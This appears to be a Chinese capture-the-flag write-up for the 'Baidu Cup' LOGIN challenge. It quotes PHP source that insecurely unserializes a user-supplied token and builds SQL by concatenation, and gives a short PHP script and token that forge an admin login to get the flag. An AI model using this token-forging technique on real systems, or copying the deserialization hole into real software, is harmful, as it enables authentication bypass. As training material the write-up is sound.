ctf-wp“百度杯”CTF比赛 十月场-LOGIN

进去题目看到一个登陆框,老规矩,看源码:
在这里插入图片描述
在这里插入图片描述
看起来好像没什么有用的信息,突然发现可以下拉。。。
在这里插入图片描述
找到test1,test1 (差点没发现T—T)
登陆:
在这里插入图片描述
出来了一个莫名其妙的东西。。
上burp抓包看看:
在这里插入图片描述
好像没有什么异常,但是仔细观察,发现返回中有个叫“show”的参数,值为零。尝试将参数show添加到请求,值改为1,看结果:
在这里插入图片描述
源码来了。

<head>
<meta charset="utf-8" />
</head>
<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?> -->(╯‵□′)╯︵┴─┴

可以看到想要echo flag,必须得满足:
$login['user'] === 'ichunqiu'
然而token是经过这样处理的:

 $login = unserialize(gzuncompress(base64_decode($requset['token'])));

所以将‘ichunqiu’经过

base64_encode(gzcompress(serialize($token)))

处理然后添加到token才能得到flag

<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>

执行一下:
在这里插入图片描述
得到:token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
添加到cookie中发包:
在这里插入图片描述
bingo

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值